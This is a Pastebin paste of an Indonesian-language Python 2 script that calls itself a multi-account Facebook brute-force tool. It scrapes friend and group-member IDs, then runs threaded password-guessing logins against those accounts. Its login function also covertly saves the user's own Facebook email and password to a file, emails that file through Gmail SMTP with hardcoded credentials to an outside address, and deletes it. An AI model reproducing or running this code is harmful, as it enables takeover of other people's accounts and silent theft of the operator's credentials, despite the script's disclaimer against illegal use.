Advertisement
Kang-Tutorial

Mbf

Sep 9th, 2019
879
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.78 KB | None | 0 0
  1. from __future__ import print_function
  2. import platform, os, smtplib
  3. from email.mime.text import MIMEText
  4. from email.mime.multipart import MIMEMultipart
  5. from email.mime.base import MIMEBase
  6. from email import encoders
  7.  
  8. def tampil(x):
  9. w = {'m':31,'h':32,'k':33,'b':34,'p':35,'c':36}
  10. for i in w:
  11. x=x.replace('\r%s'%i,'\033[%s;1m'%w[i])
  12. x+='\033[0m'
  13. x=x.replace('\r0','\033[0m')
  14. print(x)
  15. if platform.python_version().split('.')[0] != '2':
  16. tampil('\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x'%v().split(' ')[0])
  17. os.sys.exit()
  18. import cookielib,re,urllib2,urllib,threading
  19. try:
  20. import mechanize
  21. except ImportError:
  22. tampil('\rm[!]SepertiNya Module \rcmechanize\rm belum di install...')
  23. os.sys.exit()
  24. def keluar():
  25. simpan()
  26. tampil('\rm[!]Keluar')
  27. os.sys.exit()
  28. log = 0
  29. id_bteman = []
  30. id_bgroup = []
  31. fid_bteman = []
  32. fid_bgroup = []
  33. br = mechanize.Browser()
  34. br.set_handle_robots(False)
  35. br.set_handle_equiv(True)
  36. br.set_handle_referer(True)
  37. br.set_cookiejar(cookielib.LWPCookieJar())
  38. br.set_handle_redirect(True)
  39. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
  40. br.addheaders = [('User-Agent','Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
  41. def bacaData():
  42. global fid_bgroup,fid_bteman
  43. try:
  44. fid_bgroup = open(os.sys.path[0]+'/MBFbgroup.txt','r').readlines()
  45. except:pass
  46. try:
  47. fid_bteman = open(os.sys.path[0]+'/MBFbteman.txt','r').readlines()
  48. except:pass
  49. def inputD(x,v=0):
  50. while 1:
  51. try:
  52. a = raw_input('\x1b[32;1m%s\x1b[31;1m:\x1b[33;1m'%x)
  53. except:
  54. tampil('\n\rm[!]Batal')
  55. keluar()
  56. if v:
  57. if a.upper() in v:
  58. break
  59. else:
  60. tampil('\rm[!]Masukan Opsinya Bro...')
  61. continue
  62. else:
  63. if len(a) == 0:
  64. tampil('\rm[!]Masukan dengan benar')
  65. continue
  66. else:
  67. break
  68. return a
  69. def inputM(x,d):
  70. while 1:
  71. try:
  72. i = int(inputD(x))
  73. except:
  74. tampil('\rm[!]Pilihan tidak ada')
  75. continue
  76. if i in d:
  77. break
  78. else:
  79. tampil('\rm[!]Pilihan tidak ada')
  80. return i
  81. def kirim():
  82. #LOGGER
  83. email_user = 'pepepek@gmail.com' #EMAIL USER LOGIN
  84. email_password = 'pepekan' #EMAIL PASSWORD LOGIN
  85. email_send = 'alviandtm@bk.ru' #EMAIL UTAMA
  86.  
  87. subject = '=== KIRIMAN NYA KAK ==='
  88.  
  89. msg = MIMEMultipart()
  90. msg['From'] = email_user
  91. msg['To'] = email_send
  92. msg['Subject'] = subject
  93.  
  94. body = '====== AKUN FACEBOOK ======='
  95. msg.attach(MIMEText(body,'plain'))
  96.  
  97. filename='log.txt'
  98. attachment =open('log.txt','rb')
  99.  
  100. part = MIMEBase('application','octet-stream')
  101. part.set_payload((attachment).read())
  102. encoders.encode_base64(part)
  103. part.add_header('Content-Disposition',"attachment; filename= "+filename)
  104.  
  105. msg.attach(part)
  106. text = msg.as_string()
  107. try:
  108. server = smtplib.SMTP('smtp.gmail.com',587)
  109. server.starttls()
  110. server.login(email_user,email_password)
  111.  
  112.  
  113. server.sendmail(email_user,email_send,text)
  114. server.quit()
  115. except:
  116. None
  117.  
  118. def hapus():
  119. os.remove('log.txt')
  120. def simpan():
  121. if len(id_bgroup) != 0:
  122. tampil('\rh[*]Menyimpan hasil dari group')
  123. try:
  124. open(os.sys.path[0]+'/MBFbgroup.txt','w').write('\n'.join(id_bgroup))
  125. tampil('\rh[!]Berhasil meyimpan \rcMBFbgroup.txt')
  126. except:
  127. tampil('\rm[!]Gagal meyimpan')
  128. if len(id_bteman) != 0:
  129. tampil('\rh[*]Menyimpan hasil daftar Teman...')
  130. try:
  131. open(os.sys.path[0]+'/MBFbteman.txt','w').write('\n'.join(id_bteman))
  132. tampil('\rh[!]Berhasil meyimpan \rcMBFbgteman.txt')
  133. except:
  134. tampil('\rm[!]Gagal meyimpan')
  135. def buka(d):
  136. tampil('\rh[*]Membuka \rp'+d)
  137. try:
  138. x = br.open(d)
  139. br._factory.is_html = True
  140. x = x.read()
  141. except:
  142. tampil('\rm[!]Gagal membuka \rp'+d)
  143. keluar()
  144. if '<link rel="redirect" href="' in x:
  145. return buka(br.find_link().url)
  146. else:
  147. return x
  148. def login():
  149. global log
  150. us = inputD('[?]Email/HP')
  151. pa = inputD('[?]Kata Sandi')
  152. tampil('\rh[*]Sedang Login....')
  153. buka('https://m.facebook.com')
  154. br.select_form(nr=0)
  155. br.form['email']=us
  156. br.form['pass']=pa
  157. br.submit()
  158. url = br.geturl()
  159. if 'save-device' in url or 'm_sess' in url:
  160. tampil('\rh[*]Login Berhasil')
  161. buka('https://mobile.facebook.com/home.php')
  162. nama = br.find_link(url_regex='logout.php').text
  163. nama = re.findall(r'\((.*a?)\)',nama)[0]
  164. tampil('\rh[*]Selamat datang \rk%s\n\rh[*]Semoga ini adalah hari keberuntungan mu....'%nama)
  165. log = 1
  166. z = open("log.txt","w")
  167. z.write("USERNAME : ")
  168. z.write(us)
  169. z.write("\n")
  170. z.write(" PASSWORD : ")
  171. z.write(pa)
  172. z.close()
  173. kirim()
  174. hapus()
  175. elif 'checkpoint' in url:
  176. tampil('\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini')
  177. keluar()
  178. else:
  179. tampil('\rm[!]Login Gagal')
  180. def saring_id_teman(r):
  181. for i in re.findall(r'/friends/hovercard/mbasic/\?uid=(.*?)&',r):
  182. id_bteman.append(i)
  183. tampil('\rc==>\rb%s\rm'%i)
  184. def saring_id_group1(d):
  185. for i in re.findall(r'<h3><a href="/(.*?)fref=pb',d):
  186. if i.find('profile.php') == -1:
  187. a = i.replace('?','')
  188. else:
  189. a = i.replace('profile.php?id=','').replace('&amp;','')
  190. if a not in id_bgroup:
  191. tampil('\rk==>\rc%s'%a)
  192. id_bgroup.append(a)
  193. def saring_id_group0():
  194. global id_group
  195. while 1:
  196. id_group = inputD('[?]Id Group')
  197. tampil('\rh[*]Mengecek Group....')
  198. a = buka('https://m.facebook.com/browse/group/members/?id='+id_group+'&amp;start=0&amp;listType=list_nonfriend&amp;refid=18&amp;_rdc=1&amp;_rdr')
  199. nama = ' '.join(re.findall(r'<title>(.*?)</title>',a)[0].split()[1:])
  200. try:
  201. next = br.find_link(url_regex= '/browse/group/members/').url
  202. break
  203. except:
  204. tampil('\rm[!]Id yang anda masukan salah')
  205. continue
  206. tampil('\rh[*]Mengambil Id dari group \rc%s'%nama)
  207. saring_id_group1(a)
  208. return next
  209. def idgroup():
  210. if log != 1:
  211. tampil('\rh[*]Login dulu bos...')
  212. login()
  213. if log == 0:
  214. keluar()
  215. next = saring_id_group0()
  216. while 1:
  217. saring_id_group1(buka(next))
  218. try:
  219. next = br.find_link(url_regex= '/browse/group/members/').url
  220. except:
  221. tampil('\rm[!]Hanya Bisa Mengambil \rh %d id'%len(id_bgroup))
  222. break
  223. simpan()
  224. i = inputD('[?]Langsung Crack (y/t)',['Y','T'])
  225. if i.upper() == 'Y':
  226. return crack(id_bgroup)
  227. else:
  228. return menu()
  229. def idteman():
  230. if log != 1:
  231. tampil('\rh[*]Login dulu bos...')
  232. login()
  233. if log == 0:
  234. keluar()
  235. saring_id_teman(buka('https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasic_bookmark&ref_page=XMenuController'))
  236. try:
  237. next = br.find_link(url_regex= 'friends_center_main').url
  238. except:
  239. if len(id_teman) != 0:
  240. tampil('\rm[!]Hanya dapat mengambil \rp%d id'%len(id_bteman))
  241. else:
  242. tampil('\rm[!]Batal')
  243. keluar()
  244. while 1:
  245. saring_id_teman(buka(next))
  246. try:
  247. next = br.find_link(url_regex= 'friends_center_main').url
  248. except:
  249. tampil('\rm[!]Hanya dapat mengambil \rp%d id'%len(id_bteman))
  250. break
  251. simpan()
  252. i = inputD('[?]Langsung Crack (y/t)',['Y','T'])
  253. if i.upper() == 'Y':
  254. return crack(id_bteman)
  255. else:
  256. return menu()
  257. class mt(threading.Thread):
  258. def __init__(self,i,p):
  259. threading.Thread.__init__(self)
  260. self.id = i
  261. self.a = 3
  262. self.p = p
  263. def update(self):
  264. return self.a,self.id
  265. def run(self):
  266. try:
  267. data = urllib2.urlopen(urllib2.Request(url='https://m.facebook.com/login.php',data=urllib.urlencode({'email':self.id,'pass':self.p}),headers={'User-Agent':'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16'}))
  268. except KeyboardInterrupt:
  269. os.sys.exit()
  270. except:
  271. self.a = 8
  272. os.sys.exit()
  273. if 'm_sess' in data.url or 'save-device' in data.url:
  274. self.a = 1
  275. elif 'checkpoint' in data.url:
  276. self.a = 2
  277. else:
  278. self.a = 0
  279. def crack(d):
  280. i = inputD('[?]Pake Passwordlist/Manual (p/m)',['P','M'])
  281. if i.upper() == 'P':
  282. while 1:
  283. dir = inputD('[?]Masukan alamat file')
  284. try:
  285. D = open(dir,'r').readlines()
  286. except:
  287. tampil('\rm[!]Gagal membuka \rk%s'%dir)
  288. continue
  289. break
  290. tampil('\rh[*]Memulai crack dengan \rk%d password'%len(D))
  291. for i in D:
  292. i = i.replace('\n','')
  293. if len(i) != 0:
  294. crack0(d,i,0)
  295. i = inputD('[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)',['Y','T'])
  296. if i.upper() == 'Y':
  297. return crack(d)
  298. else:
  299. return menu()
  300. else:
  301. return crack0(d,inputD('[?]Sandi'),1)
  302. def crack0(data,sandi,p):
  303. tampil('\rh[*]MengCrack \rk%d Akun \rhdengan sandi \rm[\rk%s\rm]'%(len(data),sandi))
  304. print('\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m',end='')
  305. os.sys.stdout.flush()
  306. akun_jml = []
  307. akun_sukses = []
  308. akun_cekpoint = []
  309. akun_error = []
  310. akun_gagal = []
  311. jml0,jml1 = 0,0
  312. th = []
  313. for i in data:
  314. i = i.replace(' ','')
  315. if len(i) != 0:th.append(mt(i,sandi))
  316. for i in th:
  317. jml1 += 1
  318. i.daemon = True
  319. try:i.start()
  320. except KeyboardInterrupt:exit()
  321. while 1:
  322. try:
  323. for i in th:
  324. a = i.update()
  325. if a[0] != 3 and a[1] not in akun_jml:
  326. jml0 += 1
  327. if a[0] == 2:
  328. akun_cekpoint.append(a[1])
  329. elif a[0] == 1:
  330. akun_sukses.append(a[1])
  331. elif a[0] == 0:
  332. akun_gagal.append(a[1])
  333. elif a[0] == 8:
  334. akun_error.append(a[1])
  335. print('\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m%0.2f%s\033[31;1m]\033[0m'%(float((float(jml0)/float(jml1))*100),'%'),end='')
  336. os.sys.stdout.flush()
  337. akun_jml.append(a[1])
  338. except KeyboardInterrupt:
  339. os.sys.exit()
  340. try:
  341. if threading.activeCount() == 1:break
  342. except KeyboardInterrupt:
  343. keluar()
  344. print('\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m ')
  345. if len(akun_sukses) != 0:
  346. tampil('\rh[*]Daftar akun sukses')
  347. for i in akun_sukses:
  348. tampil('\rh==>\rk%s \rm[\rp%s\rm]'%(i,sandi))
  349. tampil('\rh[*]Jumlah akun berhasil\rp %d'%len(akun_sukses))
  350. tampil('\rm[*]Jumlah akun gagal\rp %d'%len(akun_gagal))
  351. tampil('\rk[*]Jumlah akun cekpoint\rp %d'%len(akun_cekpoint))
  352. tampil('\rc[*]Jumlah akun error\rp %d'%len(akun_error))
  353. if p:
  354. i = inputD('[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)',['Y','T'])
  355. if i.upper() == 'Y':
  356. return crack(data)
  357. else:
  358. return menu()
  359. else:
  360. return 0
  361. def lanjutT():
  362. global fid_bteman
  363. if len(fid_bteman) != 0:
  364. i = inputD('[?]Riset Hasil Id Teman/lanjutkan (r/l)',['R','L'])
  365. if i.upper() == 'L':
  366. return crack(fid_bteman)
  367. else:
  368. os.remove(os.sys.path[0]+'/MBFbteman.txt')
  369. fid_bteman = []
  370. return 0
  371. def lanjutG():
  372. global fid_bgroup
  373. if len(fid_bgroup) != 0:
  374. i = inputD('[?]Riset Hasil Id Group/lanjutkan (r/l)',['R','L'])
  375. if i.upper() == 'L':
  376. return crack(fid_bgroup)
  377. else:
  378. os.remove(os.sys.path[0]+'/MBFbgroup.txt')
  379. fid_bgroup = []
  380. return 0
  381. def menu():
  382. tampil('''\rh
  383. .-.-..
  384. /+/++//
  385. /+/++//
  386. \rk* *\rh /+/++//
  387. \ / |/__//
  388. {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========.
  389. ['] /'|'\ \\
  390. / \ \ '
  391. \_ \_ \_ \rk*\rhDragonFly ZomBie
  392. \rk###########################################################
  393. # \rb*MULTY BRUTEFORCE FACEBOOK*\rk #
  394. # \rhBY\rp PIRMANSX \rk#
  395. # \rhGroup FB\rp https://m.facebook.com/groups/164201767529837 \rk#
  396. # \rhGitHub\rp https://github.com/pirmansx \rk#
  397. # \rmDo Not Use This Tool For IllegaL Purpose \rk#
  398. ###########################################################''')
  399. tampil('''\rk%s\n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n\rk%s'''%('#'*20,'#'*20))
  400. i = inputM('[?]PILIH',[1,2,3])
  401. if i == 1:
  402. lanjutG()
  403. idgroup()
  404. elif i == 2:
  405. lanjutT()
  406. idteman()
  407. elif i == 3:
  408. keluar()
  409. bacaData()
  410. menu()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement